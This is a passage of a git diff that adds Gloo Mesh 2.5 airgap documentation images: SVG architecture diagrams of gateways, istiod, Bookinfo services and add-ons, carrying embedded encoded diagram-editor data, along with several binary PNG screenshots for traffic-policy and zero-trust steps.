M2HdCtBUuX3XHUwMDAyXHUwMDE5Nl7ZXehcdTAwMDGccrTNS8PAilxuK4BcdTAwMDPTUlHKcJije37atanGupgpdnhcdTAwMTEk1mmPvudx7ce/vzVcdTAwMDS3o+P9WXZcdTAwMTfLrlx1MDAwMobeXHUwMDE3PCAwXHUwMDE0xJ6YpziVkok1pqb5n2d4gSH10Vx1MDAxY4SHXGZcdTAwMTiaQlx1MDAxYVDmYe6eelx1MDAwMGDYg8uctOrt+sDSXHUwMDFi49vocIVjf1x1MDAwNVZaXHUwMDA0iN773Fx1MDAxN0pk1mCeQFx1MDAwMpidXHUwMDA2r1xuf77MdEVnXFy8LFx1MDAxNSOvlZEoPV7en4VcdTAwMWUjXG67XHRIaXgxXCI2Qzi1cDcsXG5cdTAwMWTT+yna56d0mSZcdTAwMDf3qUG8eXX18FaN3eDEXHUwMDBmRtxcdTAwMTZG3NHx/ix7RMuugp7eXHUwMDE3PCT0dCWOLEJPzVx1MDAxMEZmjEJwdeR7nuGFnthHIfGwQU9hXHUwMDA2VyD5k1nyi8D/gXSVcr2/V8y5XHUwMDAyey1hzvlccm5cdTAwMGZsWpPGsL3/XHUwMDEwpZhcdTAwMTOO10hcdTAwMWVJ5VG8f1EtRrPNaGOQi0VcdTAwMTMlNv5cdTAwMGXS3CNjXHUwMDEzLVx1MDAxZKQ4SDFMmKtcdTAwMWKT+brgjlJcdTAwMThNR0YpXHUwMDA2ZGnl6yCJIzagSahHuyG53GJcdTAwMDNcdTAwMGKTtkbQXHUwMDAxkeWqXCJzPz16oExcdTAwMGJPiaHmXvWRXHUwMDE41Va3XHUwMDFiaVf6tUihXFzudvr/7nRcbvBPILCKp1x1MDAxY1x1MDAxMd9NSvOJbMz9ikWJ4bdBX4lg7Uvh7uC3VHaETd27XFyjK4//XVx1MDAwZqdIoJI5QjAgLMY01fNtKTCjXHUwMDBlJ6DoXHQ1jcl8ZpVtXCJcdTAwMTMwMVeRklNCQFxiK4/x41o4yPTO0JoyjoVezjeRiDKkXHUwMDBmaYmGoimFv1Y6WVx1MDAxOFx1MDAwYkZcdFPwrDCRaq5cdTAwMWbC71x1MDAxNlx1MDAxMID0qFx1MDAxOVx1MDAwMcsxV2aO9DdnlfnnWc5viinNMFx1MDAxMchMLKPwtLQnTFx1MDAxZEE4Z0oyisx8yePuSFx1MDAxNrFSv3ks0f1sub/cf64v+OxmXHUwMDBlgFx1MDAwNFxyXGYvglx1MDAwN2af0vFqhrLBxVx1MDAxNX+8LL1WXqMvmdOQyz2itENBulx1MDAxM63F4nBawFx1MDAxZCBcdTAwMTOpYiBcdTAwMTZccn/4iL1cdTAwMDBcdTAwMTNcdTAwMWNsYo9Th8DawFVYgnylM5k268OIhcNcYqVCSqq5oMtcdTAwMWU4JFx07JSKP6VcdTAwMTWZ3SywXHSf88f+pXjv0WykXHUwMDE4qZFRLFx1MDAxZFx1MDAxOZduvIRcdTAwMGZyqFx1MDAxOYktgSYwwGNcdTAwMTB6yy1qTTRfw11cdTAwMDPxxCSA5a00gz2c7LGS4PTdJepbU/isyOQni6/OKni4lpTwNZrBtmKs3c98ptSg0r+aRMt3k2y1XHUwMDFiblx0xEHI+pR7g3hiplx1MDAxYlx1MDAxOJxcdTAwMDNiiodqiFxmkIvW6pC22SZe/0g70cZ6dFx1MDAxZb9o8Fxu7mb02ehM/3j9t+X139HxXHUwMDFl17K7mmh4LKewyu3vfcHZsksyYOduf5/+lGBcdTAwMWUjsDXWyDjxP8+Quv1BIfk0g4Lf7+htKaTtuP1cdTAwMTHGaK7QN3Rq6Fx1MDAwMG7/TndcdTAwMTCpd6Zesv0mnPgjsEVXnuc2XHUwMDBm33SEM0blWsjzKvP6rKrisXczem1mz3h7lO1/q1x1MDAxM/f+XHUwMDEyTqbIk1rje4o6iivBpdBMm9bHVk5cdTAwMGaScbLlId3TyVDqaFsvXHUwMDE2Luo8X5J376L3NqmSzmf/JoU21987WnZXkDbxcin1Qyt7l/gooVJNX4/uXG7XW1i3XHUwMDEyRa/lizhm2YfKuPEuy9VHtFxyqHxcXHftWJZdhVx1MDAxMb0veECMyKg1K1lqyVx1MDAxOVonKdn/OMNcZlx1MDAxMa2agyHs0K1pjm1gRK7M1Cb8M/b6XHUwMDE3fX81fds/PFxcXHUwMDAxk5b70u1cZlx1MDAxYdpbXG7ZW4swgSgja+R95e9jjdhEd3Bb3yffWaxUqXeew+2PXHUwMDE0SCtHXHUwMDAx92rJiOB8hpGn2SHUQYQqpbSUXHUwMDEyUUrtvL1RKJh5wECP9Fx1MDAxMLghmHBcdTAwMTbm+Xt+urTZeymqSaT2XHUwMDE0Pzsjspb+TJ1fXoY9PaQ2XHUwMDE4vFx1MDAxNeud0GWFeOzLV1x1MDAwMFhjoqDDrVx1MDAxMlx1MDAwMEupOGEyuGHof4/DKVx1MDAwMjBFjklcZlx1MDAxM6Z7XHUwMDA3Q/Mt+s3Qe1x1MDAxM1x1MDAxNZVGuXO8K1x0gLTDXHUwMDA00YJQTM2EOY98MaVcdTAwMWNtXHUwMDA2pVx1MDAxMVx0up1rvTyjXHUwMDA0wFx1MDAwN9NcYlx1MDAxZLI5eCjSQfz10MlCOojApoBcdTAwMGJcdTAwMGKCMVN0eUjJfDpcYlx1MDAxMf9MR1szXHUwMDFkZPT5ksy88tObp+xjQ+XvYpVqLmvZlICriOnEXHUwMDE5qjmadbP62lx1MDAxM1x1MDAwMYrVhFx1MDAwMCBEwL9cdTAwMTJ5TI06qpCsnf7NY4nyZ+v95f5zbdnnznxdbqgokeZcdTAwMThcdTAwMDeXfVx1MDAwM5W+u7p7Pb3Nju/vzuOvolx1MDAxNuNVi+xcdTAwMGKNcVx1MDAwM2RG3GPJ59NjqXK7v1x1MDAwNcZcdTAwMWJ1VLT24pWOdD1cdTAwMTTxXHUwMDE40YRn2/7HzCFmivpBy7BCklx1MDAwNDL3zjHxvfW+m1x1MDAwN1xihTX53GbkXHUwMDEwXHUwMDE3jSyyuZRmXHUwMDBlXHUwMDFlXSPfNXemK5nL1H1jnDnvd0aZ986pXG5/m32GTUWlMlmG0+c5NpeMg/hcdTAwMDVcdTAwMDSkXHUwMDE0XHUwMDEyyF0x8J28XHUwMDBia8ft2bIz74VcdTAwMGJP/WPlSNBcdTAwMDPAXHUwMDFkXHUwMDA3rKneLV9/y30xwt6eXHUwMDBiNffJ3dtcdTAwMWSwj+/xoI+jXHUwMDAxXHUwMDAwXGYzyj24qu0kes+dzvVd5PY0XHUwMDEy553SgLVSt6HnQU6lgyiWxrFcdTAwMDLPfIlcdTAwMDfdunYnLEi8OpYusSBcdTAwMDNcdTAwMDZEmshcdTAwMDOWloWRXHUwMDAzSUg4kHyXXHUwMDAz7bmHZtghV2SNllx1MDAwMy9KRmKVe3rXKeU+b3k+kUjK17BzIGhcdTAwMTbqYPnVRZgtcaC7xnM3LFx1MDAxOFBcdTAwMGJyYbYpwqxcdTAwMDW/ruHh6+NcdTAwMWbxyOTuhbZThdRcdTAwMDd6XHUwMDFjyfdmYnIgX9+fo2OV3ZVnylx1MDAxZuVa3vxkup5+fs2fdtJcdTAwMGaVXHUwMDFicXeKkqP7i9BzOEBbXHUwMDA3IYs5XHUwMDBimtfBVDDKXHUwMDAxZEpkL+LevY6VgMilOOhcdTAwMTipXHUwMDFmXHUwMDFku3VcdTAwMWRLsV3HXHUwMDAyouJcbq0x8Fx1MDAxYtVcdTAwMTOpyrhcdTAwMWLNXzx9duL9s/z5xXn4O3hNXHUwMDE5UEmKMFdyvk2/NDaoi/18iq034T+PSspl/iNcXFx1MDAxYi1cdTAwMWbmWNoh+I+GhP+oP//5XHUwMDE32Ui7u0dcdTAwMTNikjRQcC4sPZBLlbt8fMxflVx1MDAxMvHJ7Vx1MDAxM76pv1m4MCxcdTAwMTEtpMxg9d8pzVx1MDAxYc1zIcYm5I2VlqZcdTAwMDSKbGpqbjfVUSOOpORhzl3xg73jtKyn2s1cdTAwMDZXXHUwMDE38cGdKMRf7mJcdTAwMWbhTUk8tiqbXHUwMDFkXHUwMDFk73Etu6sqm+M6ha0vuyox0/uCs2WXRMuuXHUwMDEzM6WwjonBjClJsF6jsY//eYZcdTAwMTRsgqJcdTAwMTM+io5g4dBtKbqtZGZqzE2F/U/xzolcdTAwMGJ09lx1MDAwMcqVXHUwMDBivfLJQ7fsXHI/d5SeuVx1MDAwMtotglLvfe6rfEdbW1dcYoS0Ru4mxKuYvZ6+OL9S9+3m2/OI5PFL5zPf+Vbrij3OXGZGXG45dPZYyNJcIoo5XHUwMDFjXjVcdTAwMTJBc/dstcOX71x1MDAxMKVcdTAwMTjV9FhnXG4gffU6yH622/3bRv1cIsHyyduoXHUwMDA1b6yjwHe07E/1zjHetT982VXY0/uCXHUwMDA3xJ6cWrVcdTAwMTFcdTAwMDVRLMVcdTAwMWEpw/6nXHUwMDE5XuTJfdRcdTAwMTFFxEHbUkdbqVx1MDAxYsdYM4l+6sZ/0/dvSFx1MDAwN0juZFxcXHUwMDFm1E6inVHXe1xi8a7A51xuXGa2XGI+bTvd17RcdTAwMDJtXHItSkNXgHGCR1x1MDAxNvtDxJ/KldHV5L3/pjqpUTf3/vlcdTAwMWT4uU9+lyZcdHnWKGKB3yV1MGJCacaQXHUwMDE2ZLPI4nbnXHUwMDE1KMJNv7djXHUwMDFkN1xcRY+kV/h8XHUwMDFlJqpcdTAwMGaNm/G9KKF4Pbw48dhcXKo7Ot5cdTAwMWQtm9FJrahKNZovN72qXHUwMDFhX1xm38eNLZzCbVx1MDAxZEXaspZLN9J3TyPRiohKbVx1MDAxYjOtU6gkq1x1MDAwNdS7xplBulx1MDAxMLtAMfze2cK69aHI1i5cdTAwMWEsqjN3yUZL5eu8+bKFdVx1MDAwYq/3RVx1MDAxNc/K+GnqQdQnTZ3M1ZJ/XHUwMDEwla1cdTAwMDLi3lx1MDAxNzwgXHUwMDEwXHUwMDE3zOpcdTAwMDQmXHUwMDE4aVxuSHSNYbL+51x1MDAxOV4oTv1Us0aOXGKkmvc0uYHAflx1MDAwNVfuVJHQKeRcdTAwMDNA8Vir2z25rfRre3dcdTAwMDOvgKOLSNyy0T1cdTAwMDFxn0ktminiLv5cXMXtUZqJXeTPkj2kblx1MDAwYqfdrmB9XHUwMDExPy5cdTAwMTg+z+pMYEfAW1ghTKjGdGFfW0rg/Vx1MDAxNlxul0SYrm1hnlx1MDAxNOinaVx1MDAxM7FJfHD6nnuL3pROXHUwMDEz6atiXHUwMDBlXHUwMDE30z8ofFsofEfHe1xcy+4qseFYTmFcdTAwMTX49L7gIcGnPVx1MDAwM4FoXHUwMDA2yFx1MDAxM6/RUtD/OI9cdTAwMDR7LugjqVx1MDAxZFx1MDAxY0hcdTAwMWbtXHR6KiYl46GORFx1MDAxZVx1MDAwMHnG+4N6d++oc1x1MDAwNfpaRJ1cdTAwMWWb3H13KEGtXl+wppik68R5UuSxVEokhk/9/rj9LNPV55vkdehcdTAwMTlcdTAwMWMj4vCZbTlfT4IxXHUwMDE1XHUwMDAx4zybZlx1MDAxOOnZ/r9cdTAwMTicLpeNXHUwMDExzLSkMsxcdTAwMWPup1PbXHUwMDE3+cZw3Ph4i+WzlUyny1x1MDAxMlx1MDAxZqlxMFxisIn285RcdTAwMWaBW0TdVKqVjrfwcNVcIuwncf73Xr7F7ZLQxVdnbVx1MDAxMrhcIlxcSrJG3nylnW11Y+Syfks+SsXBW7GXXGZ9gajQmjmm25NgJsLL57uBR4Rw25dIb2Rg+rK79KhcdTAwMTJdZneCNYdNhtmT5Mft5/W2pvFaXHUwMDA38bzMpVx1MDAwNzh691ggYef281Z97o5cdTAwMWSS23/vxZfbfVx1MDAxYb9Zm/+bvjpqjbau/jcynJ4kbfJcdIGZQawx5FaYU05nylFcdTAwMDKZgWtCXHUwMDEwXHUwMDA1vL5ZkYx9XGKgaYEjpGk0XHUwMDA1ulx1MDAxYkDEMttLx3SMICaRXHUwMDE5S+quWPtnXG4gx4Lw/+B2XHJcdTAwMDHbvvlrnFx1MDAxM/fMK8xBvGsuNVVcdTAwMWMrj1x1MDAxOYCYOUSYOc9KSGU6XHUwMDA1rFx1MDAxOFx1MDAwMni0LZhcInZcdTAwMTI0jyXim633l/vPRenzO0xcdTAwMTmtxZvNTDRyIyvXldPY5+Pj7dXsh1hE1O9+RdRB/3RcXNZ0vueygDepVpQhQlx1MDAxOfyDLjNcdTAwMTZcdTAwMDZVPXtI5dFSzJXSsiwjtuExXlx1MDAwN+PsXCKT2ltcZmyNy//xbEukmVZLrqC/TctKm4Yx3bJN9XuQpKFFaTLHK9+RJ1tlIDulTd9V7ixBSuWq5cT8XHUwMDE3NHOvpvns60s3LKDUWS1H2XMrmz6bXGZcdTAwMDdy9FmM0k68iZ+ol1x1MDAxYzWDSzVcdTAwMDGz1zRmVCAnXFxcdTAwMWRVTmbtMzEjikvzXGZcdTAwMWGVYH9BatvUxZi/Z6qJ57fCaaxXqfQnsqTOLZuiXGKbclxiXHUwMDAw6pQghZb3pFx1MDAxY6xmPVx1MDAwZkHmLe3pO1x1MDAwMtpHXHUwMDEwdlX8+vXzvCfaJJFXp1x1MDAxZlxcT0r9gIJQKbsglGq1IJzJg1krWT909CP5gko+gVx1MDAxMIP/XFwtXHUwMDFk3Fx1MDAxOdJWW1x1MDAxYfCEXHUwMDE5PVx1MDAxOSRQXHUwMDFibtFHsY/kk/OCjIhVq0Xmv0HwfFx1MDAwZliPZpDbXHUwMDE3fYGljIGQxlx1MDAwMUCxVqalhau48EvKSEd99XozJfnse5Kv2EVR2cs00neqkE42oue5XHUwMDA0te1cdERcdTAwMTlcXFx1MDAwZnQrXHUwMDAwXFzQrnxpT9xRXGLeoNNntbyjLcu9x1hLnlx1MDAwM2Hmc637yESkY40mOV2We/NcdTAwMWWpX73yXHUwMDEwdrhN7Fx1MDAwMXBfJfa8ovIuXHUwMDA3yo/Y+77Yw0JgiSlTXnJcdTAwMGbb2zxcblx1MDAwMnRcdTAwMDfsclx1MDAxMMH3j/tmUG9XukNcdTAwMTe1re1cdTAwMDT6plvH20+0hrPnn517stvqPEHbbSFIXHUwMDEzOEK+hmv3LpW6K4zribqgZ69XqnFZfm9kwsNcdTAwMDW27puM2IGUXCLUkVx1MDAxNFx1MDAwYkk5mMJM7KY1mPRo67/s1WXEiGZ3cH3HfL3DIGxgt+prYdhcbolX9ddWfrHZX79P8u/C29vTXHUwMDAwjuJLUf89qlfGZ/bi4b9+M6lhh4o51f/537/+9/9cdTAwMDN8xtGcIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClienttimeoutfault \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/traffic-policies/reviews-unavailable.png b/gloo-mesh/platform/2-5/airgap/default/images/steps/traffic-policies/reviews-unavailable.png new file mode 100644 index 0000000000..49d4442749 Binary files /dev/null and b/gloo-mesh/platform/2-5/airgap/default/images/steps/traffic-policies/reviews-unavailable.png differ diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/bookinfo-rbac1.png b/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/bookinfo-rbac1.png new file mode 100644 index 0000000000..0ff103865b Binary files /dev/null and b/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/bookinfo-rbac1.png differ diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/bookinfo-rbac2.png b/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/bookinfo-rbac2.png new file mode 100644 index 0000000000..0de3a8ad00 Binary files /dev/null and b/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/bookinfo-rbac2.png differ diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/bookinfo-working.png b/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/bookinfo-working.png differ diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/gloo-mesh-gateway.svg b/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/images/steps/zero-trust/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMGazqOkgXcyWXHUwMDFlhqrxKTOR3M0leuRBZlx1MDAxNmJzWS3rXHUwMDE1Rlx1MDAxMFx1MDAxNdvwSnE0XGJ/JipXs7eqptXH99ZDr5P04JUlmndyyjJcdTAwMWE5pkNYXGJcdTAwMWa7mVxuvKmRoVx1MDAwNKnpij+zlGusXFwtu+AkgElcdTAwMWV88cU7fFx1MDAwNSZcdTAwMTHEmKFcZnXCwMxezPJUr7Rcbvn0w0euM3n7yI5cdTAwMWFXt1x1MDAxMXdmXHUwMDE5197Hm7qv5LhVXHUwMDFl1T5cdTAwMTWJXHUwMDE3Wu1Cp1x1MDAxZapcdTAwMTUo24xcdTAwMDd9170qplwi+I7FZ73yXHUwMDFkfiyMdeLmPX2AdSvTckxGu5evmVx1MDAxNk2rm4/Ma+SqfIB1XHUwMDBmfryOT/9r01x1MDAxYn6DhHNsyCHcvCPPikhBkSabo2b/81xmKFx1MDAxMqBS+nns6Vx1MDAxY1x1MDAwYmwk3+rza3e/IOaLtb+Emi014LdQU1x1MDAxYYNRinCAXHUwMDAxwE5cdTAwMDS8oJNed5xuff7y4zl+e13qtNpcdTAwMWaORz2nbNhSq9tcdTAwMTjC7i7+3W3AXHJnpVx1MDAwZvtzXHUwMDE41eA+tTnsc/xhuN1qdOdcdTAwMTJcdTAwMDZ2Xlx1MDAxYjo4ZNyqlNpfXHUwMDFm6LSqVTs+qMBuSrDm8HZcdTAwMTO93lx1MDAxYrZcdTAwMWGtbqmdWdrsn63uXHUwMDAx5ZGnY19qQTVcdTAwMTDt5n792e0gPb7Fop1PoNfn5/prXHUwMDE1t8OBRyfMh3tcdTAwMTmXwUUnWlx1MDAxMK4kPleX593le7v+RF4+XHUwMDA3XHUwMDBmpTuaKyXTsVn2XHUwMDA3nFx1MDAxY1xunFx1MDAxY+l4j7QsznUropIrll9r+VxiXG7HUpdodr/XKazDUu5f5IRYilK9/NsvUYxcdTAwMTUjVGxhKPo/psBCKaH9hLGgXHUwMDAxg1ImTIip0CjAnsdcdTAwMTNgqVppNJ7VRuNcdTAwMTOBqTUwZFx1MDAxOUx97XZ/NMW0Z0RcdTAwMTkzOHAkyFx1MDAxNkGEaiH2cdNM80GFsufJfbXxXHUwMDFjvVx1MDAxY+5cdTAwMDKnvjM5nlxuXHUwMDBiTD5B2fxVOFx1MDAxOFx1MDAxOCNKLUCcYH9gqqm0RVxcdsiROLivR2hCXHUwMDA00Vx1MDAwMbaL/DQov3nXsVx1MDAwZe/kO9naXHUwMDA3LkZcdTAwMDY1XHUwMDFkv/yBU4eCU0c63vNaVuu3z9xzMzcjOFx1MDAxN7uJXSV7U3RcXJTm/kVOiNI4886E01x1MDAxYzGt8Fx1MDAxNlx1MDAxZS//51x1MDAxNFSYRlx1MDAxOPZcdTAwMTPyXHUwMDFjWWoh5L2DX0dcdTAwMDFpZCUziCDYXHUwMDEykECQnfincHiNxq1e1Vx1MDAxNZhh6fj0wYDZXHUwMDFhQLPi5fq1w93hXHUwMDE4R9iLV1x1MDAwMbRjiVx03zxFaVqajnJi2L9cdTAwMWG9k9az0v3XVvE14GhMKmxxJSnC81eyxKiA1Vx1MDAxOGbAplx1MDAwNFx1MDAwNJfyqcTYXHUwMDAwjHkmKO1cdTAwMDTGMJdcdTAwMWHMPKlcdTAwMDJsWPmikG43/6rRPWnqfl43SSdPp1x1MDAwZj9g7FBg7EjHe6RlczqlXHUwMDE1VZnXt5fksKFm0clg9nqAU7hroVBHNp+zr9n79FS0Q6LWbFx1MDAxZmDdXGaqyEZcdFxyXHUwMDEzODfOlmJRXHUwMDE0w4PuXHUwMDAx1n1O5Vwi/Vx1MDAwZZxG4zN8XHUwMDFij71cdTAwMGafbmfDXHUwMDAzrPs0fVx1MDAxYnTS44ouJz9vPlvZQWOQ2bBMcEdU6k4op0Sl1NPxwJigSlx1MDAxMrl5XHUwMDE4x59ccoJcbkqlXHUwMDEyfrrOQFabriNLXHUwMDFi+37XoUJcdTAwMWExbqOBwCm4XHUwMDEzgNJYu9e7uKuNmlx1MDAxN//ullx1MDAxYY7z/Vx1MDAwNsfhXHUwMDFhiLeMT1x1MDAxN5v9tdWdOJfaauNWK6tcdTAwMDRcdTAwMTeCblGGkrwpPPDSa/Ku12lcdTAwMTUjvdBL5f7+Leisy1x1MDAxMdGWXHUwMDE2inA6f+VcdTAwMGXW5VhanFJcdTAwMDJUJzT8h7fTXHUwMDFmK8FK/smUvpxLuEu5vs26/VNcdTAwMTVMXHUwMDExpZixXHUwMDAwm5O+aKTYm1x1MDAxNEbteuGj2X145s1QJVwiQ8dPoHSVXHUwMDBiyvFbXHUwMDFmuVDu9d5a3XrvYtZcdTAwMWK+wVx1MDAwM6zUXFxcdTAwMDWDraBrO8Ew7vW9pIJj88tcIsBlX75S4NeJuohcdTAwMDGgfU8xICRcdTAwMDX9tU3kwP9cdTAwMTlcdTAwMDfSVlx1MDAwNa3snVDNOd+w+GBcdTAwMDNcdTAwMTngbapcImLBc5BYXHUwMDBiXHJcdTAwMWOOqEshXHUwMDFhWLNSXHUwMDBioeBxXGKEXHUwMDAxWa1IXHUwMDA3kNdcZszcXHUwMDAwt/LYj39H49JwfNnqVlvdXHUwMDA2vLeQMH9cdTAwMWFL3W6gieZcdTAwMWNfmcxrryx4uopRguBcdTAwMDdidOGmM2dX6pvNWVx1MDAxMqCb4r9fpSa/P/GF3/+udauLPTn22y6NxpFep9NcdTAwMWHDN33stbpj129cdTAwMTQ2nNmslVZYXHUwMDFlVra/t8zCfbOi89ku/utiQeTzf3z99//7l+unQ94kaK5cdTAwMTXiW6z3l/3n1lmc2KeWT3OiXHUwMDAwW2+eelBccl1FQ9lsVqUyLZRoxsf9W4qCLnwo8658XHUwMDEy3JlcdTAwMDPmKXw2qebwXHUwMDEyPoS5gFx1MDAwZpvR9scxplx1MDAxMdaEqlNGKY8rX/bCXHUwMDA3ofpcdTAwMTA+XGIsO/p3t1vq1LyhgtjVhthcdTAwMTcquG9xN77lntnXXHUwMDA0gdlcdTAwMGZ4Wm9u9pfy7KqK463ZLevcNFx1MDAxYrOaukI3QedbRi3lwbfArFx1MDAwZdBwXHUwMDFjtqUuJYqrbCs000zhc23wdaKiq1x1MDAwM8lcdTAwMDTzPIMtXHUwMDEy3Ha4m1x1MDAxZMG8Q15YXHUwMDAyXHUwMDA1aiS3KMv3r0xccqhIoNpiXHUwMDFha6pcdMZyKTgtkbKUiVqD+Y5cdTAwMTTGx9HlWFxui2tgeS44Y1It0NWXiECWsVx1MDAxMjTXXHUwMDEyXHQmsdJsxc9cdTAwMDDAXHUwMDBin9I9+K1mxDLkXm9g+JfYO1xmXGZCuaCm2YGShEi8qMddWFx1MDAxOMTiXHUwMDA0iIVcdTAwMDG4gqcnV1xyjPMyI7xcYnD+rlx1MDAwYu1taUh4i1x1MDAxZuldXHUwMDBmxplcdTAwMDS7XHUwMDE4b9GJ1F/tXHUwMDA0VfwoS1xipogpzKDOKISSXHUwMDE4XHUwMDFli6BCXHUwMDFhtKJcdTAwMTVd2tZxpFx1MDAwZnGJuCNcdTAwMGI2J4FcdTAwMDJcZk5cdTAwMTRcdTAwMTLxlaxcdTAwMTkliCBS41x1MDAxM1x1MDAxNpdcdTAwMDTCj+GPilx1MDAxZGLGJINrITmG504lVcT2qV9ihltcdTAwMDQhXHUwMDAycl1cdTAwMTI4fC3ZipjZSPT5d0xw7omAXHTAkIAnTVx1MDAxMeVq0Vx1MDAxZmYh+7Alv3YlMEDp/yzhR6jj71cof0vZ551cdTAwMThIln+7qKRjoFL0XHUwMDE2XHUwMDFk8lxuJfpcdTAwMTLBg2is8Pnxcd9npPM0antIvsDEccDEQVx1MDAxNlx1MDAwNZgp0Px1scq8QVx1MDAxZUFcdTAwMTbWQI2SU5NcdTAwMDa/l1x1MDAwZtc/jiM3iuNcdTAwMTDTtYkzeqblc0dvjnxcZpvsd4nFKGhxXHUwMDFjl33tXHUwMDA2gDCm3vFcXIo4ZpzhzVx1MDAxMZD/Q1x1MDAwZSRcdTAwMDJcdTAwMDLrSlhSXHUwMD